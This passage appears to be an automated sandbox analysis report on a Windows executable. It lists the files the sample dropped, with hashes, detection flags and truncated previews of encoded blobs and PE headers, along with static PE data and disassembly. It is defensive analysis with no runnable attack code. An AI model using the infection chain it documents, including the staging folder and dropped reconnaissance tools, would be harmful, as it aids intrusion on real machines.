JQ0FDQUNDR0F3Y21SamRPRUNDSUpqQUNDQzRDR0NBSEFDSUNEZ0lTQ0lBQ0NDQ0NDQUNJSUNDQUBBQUFCQUxvWmpkR0VDQ0FDR1ln

C:\Users\user\AppData\Local\Temp\wbqtj

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\zxfdn

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\zxjrd

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2047980
Entropy (8bit):	5.693378984841103
Encrypted:	false
SSDEEP:	24576:4SwAsCOCLyZNJEXP62JHUdnWcv9BK6/ZKF+l8Qz0xaEf+eJYA3pYElWzgdRe:4gs2yZryQ/ZaZkMYLZ
MD5:	9FAEAD3FD586F150C4D8BF862EAE33A6
SHA1:	D6FEE79B329461541D4BF7639DA5932A9AFB7B10
SHA-256:	51D99751DD2134BB485247EF29D3BB6C5B48ED08F61B2EB41F12E7E41638D8C1
SHA-512:	6B87F37253606B06CD9A244BB74318B95CE8719CAA5623EF10B8C26C01529C60B917A76FC56CCF70275F40290993DEC1D56284B39FE91910A9726A39DF790269
Malicious:	false
Preview:	VFZxU0lDTUFJQ0NNQUNDQy0tOkFDRG9DQ0FDQUFBQUFRQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0MyQ0NBQ0k8ZHdnNkF0QW5OSWBvQFRNMGpUR2hyY3lCdWNlOWxhbUZ2SUVMamJvN3RkQ0JrUlFCeWxVNm9hVTZlUEc7VEtPOXRYR1d1RFEwS0pDSUNBQUFDQ0FCQGU5RnBCWnEtTUFVY3Z4ZURHcDo2REdJOkdDWWF+eGVFWWt1NkRAcy9NSV1jdGprcEdyODRIbWtUT0FrY3R6Z2doeVU2QkpxLU1CNkpJaGVHR3A6NlVtbGhpQ1VhfnhlSUFDQ0NDQ0NBQ05KRENBQE1BUVlBMndCSlR3QUNDQUFDQUFBQzRJQUFDUXNAQ2VDQ2JlQ0NBRllKSUNCQ0lDQUxPQ0NDQ0BDQUNJS0NDQUNBQUVBQUFASUNBQUFBQ0FBREFBQUNCb0FDQ0FVQ0FDQ0NBQ0NDQVBBUklDQUVJQ0Z8Z0BLQ0NlQEFqWUlDR0FDQUVBQUFBQ0lTQUFBU0NBQUNBQUFDRUlBQ0NBQUNBQ0NDQUNDQ05Kc0NJTlFBSUNDSVFDOkNhckdBQ0lJQ0NBQ0FBQUFBakpFUEFHZ21DQUFDb0FjQ1pJa0NDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FDQ0FDRlNBZUNDQUFBQ0lDQUFJQ0NJQUNDQ0NDQ0FDSUlDQ0FDQUFBQUFMbFpuZUhRQ0NBQ3diUUFDQUpBQ0NBQndBQ0NDQkNDQ0FBQUNJQ0FBSUNDSUFDQ0NLQ0NBW0s9e1hHRDBZUUFBWWtnQ0FBQ0NDQUFDTEFBQ0FASUNDQUFDQUNDQ0FDQ0NBQUFDSUdBQUlHQ31aRUQyW1NDQUNEcClAZ0NBc0FBQUFDQUNBQUNnQ0FBQ0FB

C:\Users\user\AppData\Roaming\DolphinDumps\7za.dll

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	256512
Entropy (8bit):	6.608077688435287
Encrypted:	false
SSDEEP:	3072:8xDDNhSGkz5e5cfll2+NkqXGJFGOm26C2zIvr1FnYzyrnJEYAAAAA+hIefckRQEH:R6Wl20LA4OBrn+NedRO7xn3T
MD5:	4CA574943165D792EFADFFFF193A5395
SHA1:	282C147DD34EC7BB7D5631EA25C69B656B3F1D62
SHA-256:	7F1E0EA1984AACAEE736F3082560D53F3E990B44D6E5D2B9ED38A148DE79A0FB
SHA-512:	5862E41F3FFA0EFCCFB040A878C6EF9E7E00BF8A153EB8AF1031FCC047179A8D744EAFC3232C64FCAD8E43664EBA40670A9E37DC34C0BD2FA033EABDEBD5F61A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<U}.];..];..];.:A5..];..B0..];..B1..];..B?..];.7Ud..];..]:..];.:Uf..];..{0..];......];......];.~[=..];.F}?..];.Rich.];.........................PE..L...,.Y...........!.....J..........W5.......`...............................p.........................................z...L...d.... .......................@..4....................................................`...............................text....I.......J.................. ..`.rdata..JY...`...Z...N..............@..@.data....K..........................@....sxdata.............................@....rsrc........ ......................@..@.reloc...$...@...&..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\7za.exe

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	690688
Entropy (8bit):	6.581619840895496
Encrypted:	false
SSDEEP:	12288:rmJysC11szmzqS/Vf3gny3MhcGsnWrfATfkeafIO3rn1ExwnZE1f:r9s/zmT/my8zoW6ff4rn1ExwZE
MD5:	0184E6EBE133EF41A8CC6EF98A263712
SHA1:	CB9F603E061AEF833A2DB501AA8BA6BA007D768E
SHA-256:	DD6D7AF00EF4CA89A319A230CDD094275C3A1D365807FE5B34133324BDAA0229
SHA-512:	6FEC04E7369858970063E94358AEC7FE872886B5EA440B4A11713B08511BA3EBE8F3D9312E32883B38BAE66E42BC8E208E11678C383A5AD0F7CC0ABE29C3A8ED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,"..Bq..Bq..Bq..Nq.Bq..Iq.BqB.Lq.Bq..Hq.Bq..Fq.BqO..q..Bq..CqN.BqB..q.Bq..Iqy.Bq...q.Bq...q.Bq..Dq..BqRich..Bq........................PE..L...+.Y........../......8...................P....@..........................@..............................................,...x....0..@............................................................................P..(............................text....7.......8.................. ..`.rdata...@...P...B...<..............@..@.data....r...........~..............@....sxdata...... ......................@....rsrc...@....0......................@..@........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\7zxa.dll

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	6.544226860164606
Encrypted:	false
SSDEEP:	3072:TYpNRok2PQFDTQQYvanxOokAAAAA+cQKiG3iral6W60b:ahFDTQdZG3zUW6
MD5:	4D183847804E733FB6A197E24272E870
SHA1:	11A11DEEE65803C75FFFB496F91494E6E1E4B7FC
SHA-256:	7F964A73D3BD666A494B6EB82AA984BC0B4E77172A78AA4BE786D9A578103224
SHA-512:	F60B02A16735BCD474838CA8854A1368A7EA157BA72A86823D5B3E1DD13EC26A9A92C458B5C554ED3DAFA594BF1F66BD9D42ABB70A6C097C076CEC1AD76BB1B5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......jm.@................)...A...-...A......A...,......./...............)......h...5.;.!...5...,......./....,../...Rich............................PE..L.../.Y...........!....................................................................................................{...D...P....................................................................................................................text............................... ..`.rdata..;9.......:..................@..@.data....J... ......................@....sxdata......p......................@....rsrc...............................@..@.reloc..H............&..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\8CB16F

Download File

Process:	C:\Users\user\AppData\Local\Temp\139918\Ur.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	129
Entropy (8bit):	4.995518946450261
Encrypted:	false
SSDEEP:	3:6T7NRiVWUbdaFgfa3GArKM5mRPt+kiE2J5xAI7md5omEPTA:e2Wqd83GArX5kPwkn23f7mdmmEPTA
MD5:	C1CC6A3849E8F7DA6E9FBB55C4AFABE9
SHA1:	AD70501298BE899C0E5B2910F8DC6488DC5F7A21
SHA-256:	66707AE007664CE0D6A5B857BB8E6AF0947957D28827D77FF55A9AF5531D3D8D
SHA-512:	3CE89A9A30EA5C457987E500FB38AE6C864D3E6AA352C25E7BB40EE0130D7938E768E60275B6C1E2A5C2242CDFF6B22C91D3441814F8FC9E11067DDD3726A8E5
Malicious:	false
Preview:	9A5605DE11447A0E2031624EE8FBDEuser019635truefalse00voidvoidC:\Users\user\AppData\Local\Temp\139918\Ur.piffalse1void

C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo.exe

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	313496
Entropy (8bit):	6.329253795498564
Encrypted:	false
SSDEEP:	3072:wGicIgBsA+8vctYpleMKZUFEd0iVcxWHYGsDJXU+l9koZUFvEjqcVtb5BR+pEz2D:rl0eXEdB4FdjSvYqWdM4hM
MD5:	624ADB0F45CBB9CADAD83C264DF98891
SHA1:	E839CE1E0446D8DA889935F411F0FB7AD54D4B3E
SHA-256:	8F401DC021E20FF3ABC64A2D346EF6A792A5643CA04FFD1F297E417532ACAA06
SHA-512:	B29B3A72CD32EE34EC6CE357818658B8A89C399E2F8439A7F49FB1A506ED912F41AFA19BC5C142C9A4539ACC5966A29C6A6637C23DE0DC3E5F2D85264620BDBA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........p.Eq..Eq..Eq..H#..Tq..H#...q..H#..bq..L...Dq..L...Pq..Eq...q..8...Fq..8...Fq..H#..Dq..Eq..Dq..8...Dq..RichEq..........PE..L...Kp{W.........................................@..........................P.............................................0........`...................>..............................................@...............D...l...`....................text............................... ..`.rdata..............................@..@.data...............................@....rsrc........`......................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\PsInfo64.exe

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	351904
Entropy (8bit):	6.077576126824556
Encrypted:	false
SSDEEP:	6144:0aNJZh5a45XRueuTI52O17cNq7tncFSsTTB8YS6SBjyxgg4Lf4fC:0aFi45z2ancFn/0jlJ
MD5:	EFA2F8F73B3559711149DFDEB8BC288E
SHA1:	453C70E4B12ECABE860866165AD39DE6361215FD
SHA-256:	EF5CF80C8448BF0907C634A3251CC348B1D36BB5AD8F31F23B11D12AA7F63BCB
SHA-512:	63F75A3D639A912E2E3966E9D410F8E1C52B75300518BB5083853EF2633C7E109C037EA2B66CED57BD5B319866A14BCD92254CB38AB9EC7B99465B0A8A8F5F3E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........~...~...~.../S..~.../l..~.../R..~....4..~.... ..~...~..!~....S..~....R..~...,h..~...~$..~....m..~..Rich.~..........................PE..d....o{W..........#.................p..........@.......................................... .................................................h........................ ...>..............................................p.......................`....................text.............................. ..`.rdata...-..........................@..@.data...@...........................@....pdata..............................@..@.rsrc............ ..................@..@................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\139918\Ur.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	167936
Entropy (8bit):	6.1797557233483955
Encrypted:	false
SSDEEP:	3072:IeAGcNNwmlR2GNUbomMYMLnbtoKOmiNL2SJOUOhop:CvNNtWuYcqHmiNLOc
MD5:	75375C22C72F1BEB76BEA39C22A1ED68
SHA1:	E1652B058195DB3F5F754B7AB430652AE04A50B8
SHA-256:	8D9B5190AACE52A1DB1AC73A65EE9999C329157C8E88F61A772433323D6B7A4A
SHA-512:	1B396E78E189185EEFB8C6058AA7E6DFE1B8F2DFF8BABFE4FFBEE93805467BF45760EEA6EFB8D9BB2040D0EAA56841D457B1976DCFE13ED67931ADE01419F55A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........R.D.3...3...3...,...3...3...3.../...3.......3.../...3.......3..Rich.3..........................PE..L...P.#B............................xH............@.........................................................................07..P....................................................................................................................text............................... ..`.rdata...a.......p..................@..@.data....b...P...@...P..............@...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\DolphinDumps\jvx

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	53
Entropy (8bit):	3.5007143226894013
Encrypted:	false
SSDEEP:	3:XrEIuqujyM1K8vF:Xrhurj1hF
MD5:	C16330B5345B80BA27AF8BFD4299904E
SHA1:	9F573E303431E956395DC09C510C445AE55EF7D7
SHA-256:	D6306F25B6B4CF4D6A82A4BBB691932AD74730EC3D9A4C2D5EC90B1574D4BAFE
SHA-512:	173F20932FAF91348AE1B26BC99DFFD4B438B6868921E5B5352FB1B513382203E49643DD2129B7365D570159DADF108440141D4D77193C1C6108A2140B9CE3F6
Malicious:	false
Preview:	OS Name: Microsoft Windows 10 Pro..

C:\Users\user\AppData\Roaming\DolphinDumps\nircmdc.exe

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
Category:	modified
Size (bytes):	44544
Entropy (8bit):	7.766110456396969
Encrypted:	false
SSDEEP:	768:UF24SNifq4YWc5uEvW7KrQaFzs4C9B18sEufqnYIG0y8XmEsYR2fWIrKiSU:UMNG9c5jfQ8XoB18FufVIG092lWAKiSU
MD5:	0E69B6BD18E064C83A11B48495C1B01E
SHA1:	21C4CC08D3600C564BD0D04C8553E59F564BFFF4
SHA-256:	67E0D635825CBF7CC213670F671544DA9FF18047742DD4A0696A508B79EEF607
SHA-512:	E7C9B9209359183ADE3502AD9C8807B7948D38FD0EF883655DECEF2E5F212BE646A0E3FD93B51988595511B979C669DEE8F9F2A3BA90A4B0CECF0423FF2D3F51
Malicious:	false
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W...W...W..=X..W...t...W..$t...W...t...W..=X..W...W...V.....W......W......W..Rich.W..........................PE..L....'C].........................................@.................................................................................................................................................................................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................3.03.UPX!....

C:\Users\user\AppData\Roaming\DolphinDumps\xhwq.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\139918\Ur.pif
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1019991
Entropy (8bit):	7.9981268397514125
Encrypted:	true
SSDEEP:	24576:I8QnhcAisyibvw8QJTTRz+oH7OgXwWpiubynw7ynLbzCQ:Itns7GY1XSsOQfE/7bzCQ
MD5:	9E73FB50D37E37EE8BD19A8E3D2B82CA
SHA1:	3DB1C548E86E4BB7457324A3097B05DA15B7FFC3
SHA-256:	68BA7122EE8D9CE34ED94B6036A171CE38D6D9D9B3A609C2F4DE773F4DD40D5C
SHA-512:	B41209300F018103B0F8A4DE0537F348A3BDFCBC8FEB19E7FEC6634B06C266CC442145FD2D9230F827F273B0D07BB6BBCAB7A0F0E9E1F558E6DD7A076F568094
Malicious:	true
Preview:	PK.........e.K...yq1...@......7zxa.dll...x......d'.,.b.X%j....5.Q.7.....l.d.B.m%.)mi...$.6.2..b_...R}k[....FK...l"..O...FE.uC...02.9.../.?...=..<.......{...k.g.8N.?]....sr.....)W.0.{v.k.:.E....g]....~..k.......J.__.Q/.'..d......w.^}...).X.u..7..N........Y...i.....J........i.mi30..Mo.........i...D.GR~@.....}.....X......E\|.w.,...q7.J.0.U...,....<..}O`p.'...L..f..........PT.%..b`s..;..............\|I......<?}%./.06M......I_.8G^.....g.Fp.y.K.=..3&..$.O..a....V.6..8.]..._W...j:..g....9o._....R.+.2x^3!.<.......kv..S.u.f..L.m.......3....=....d.S....Q...~..........A..`...._f?.We.U6.H..D6...dk...4.Z....Q-...............a...^^...uTr...O:x'......uh.)..>"...f.S.l.Rb.}f.m..c.0%Yd...x.W...\....u..^....WZ..z......t+..{.....D....s.ne2....GN.qa.p..7.kD..5......v.C......~.k...f]6....P..%#.%.z.$E.!..>....#.. ......g..YH..7U.0..W.).S............^"..([.g.)d....iWc...j.w'....F.'s...M."..={.{s<........}.3..s).\|........\~.T..-k..V~....n......

C:\Users\user\AppData\Roaming\DolphinDumps\zip.exe

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	6.567755066270725
Encrypted:	false
SSDEEP:	3072:8yiIL2aUStYI4kOojhmlDUaKhVV4dD+mO3teRl:k2bukOkhK4aKhVV/
MD5:	83AF340778E7C353B9A2D2A788C3A13A
SHA1:	55C5A72010291FCA2275CCFB5B497DD0BAC11A60
SHA-256:	E9929598C98359773B7C51E3C4461D0F99B1703790FF775AEE3C63A9A9A74CA8
SHA-512:	FCC810D84BFE8876123757B5E7BBBB571D7FBF3B3068B81215BDECFD0742AC94EDEEF5589277A67C40693D1182676604BC0E2F2610421AC138C59750E1CFED86
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.1.9._.9._.9._....;._.*.6.(._.<.?.;._.<.P./._.`.L.:._.9.^.W._.Z.u.;._.<...._.<...8._.Rich9._.................PE..L......D.....................P....................@.........................................................................8...<....................................................................................................................text...A........................... ..`.rdata...[.......`..................@..@.data...D...........................@...........................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	293
Entropy (8bit):	3.479129918610545
Encrypted:	false
SSDEEP:	6:esaSfLq2ANq2XCNq28gSNq2LwcNq2L+V0Nq2+BSNq2SWXLXS:6Szq20q2Xiq2TSq20Aq2eYq2QSq2/7S
MD5:	8FCA86EBFED803CF311D9FCC42835C2E
SHA1:	36B77381AD0DE20CD1BDFA45695954314CB3D19F
SHA-256:	0D11AA28844832C1BDEF3AA868FC514E72E92CF1B740AFC467AD5692A0A8BDC1
SHA-512:	078D144DC41383E933587BDB428702EFDD3D796118AE1559B84750207C8909BA5D554FF7321EFD3002439660ADA43CF7544370682B5150A7C597286751B3D529
Malicious:	false
Preview:	Archive: xhwq.zip.. inflating: 7zxa.dll .. inflating: 7za.dll .. inflating: 7za.exe .. inflating: PsInfo.exe .. inflating: PsInfo64.exe .. inflating: zip.exe .. inflating: nircmdc.exe ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.978810284296215
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	vqMMwqCFZQ.exe
File size:	1'069'345 bytes
MD5:	8e55a7932d1b9649aba9d3e97ca688ce
SHA1:	32afffa80d0f8778c8670f1b9996c602a81de455
SHA256:	5b14c48842c63552a468d3da9500bb34f3bbd1cd16decbc17a22ff0f2aada887
SHA512:	4109f2a63005d8ba7cffb25b54c1dd5993fe855795cc7a39bb520b153f7d87c01dd46a644b4431fefa63a2c47ce40e1f7d10fc10b9ac8313aa8049c2852e5931
SSDEEP:	24576:2TjI1hepdrX4EEx4W+N1zRlDlP9O4NPhGEdfqr:y4XxLq1zRnV6r
TLSH:	FE3523F28293D831E5B60475297098551EB2FC0A8578C582B31578EAF335783E3AEB77
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	baf062fe9efaf2c0

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F0C88C2A48Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F0C88C2A16Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F0C88C2A15Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F0C88C27A5Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F0C88C29E31h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F0C88C27AE3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F0C88C27A5Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x100aa	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xf3299	0x2888
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x100aa	0x10200	633f1738f646d4cc220841f666c98157	False	0.9424660852713178	data	7.804758405555712	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x105000	0xf32	0x1000	a86e44061c0acca671b37e618762e7b9	False	0.589111328125	data	5.4135077324983545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf4238	0x8734	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9860453022073269
RT_ICON	0xfc96c	0x5eee	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.0006583820261707
RT_ICON	0x10285c	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.5443989071038251
RT_DIALOG	0x103984	0x100	data	English	United States	0.5234375
RT_DIALOG	0x103a84	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x103ba0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x103c00	0x30	data	English	United States	0.8541666666666666
RT_VERSION	0x103c30	0x1a4	data	English	United States	0.5619047619047619
RT_MANIFEST	0x103dd4	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
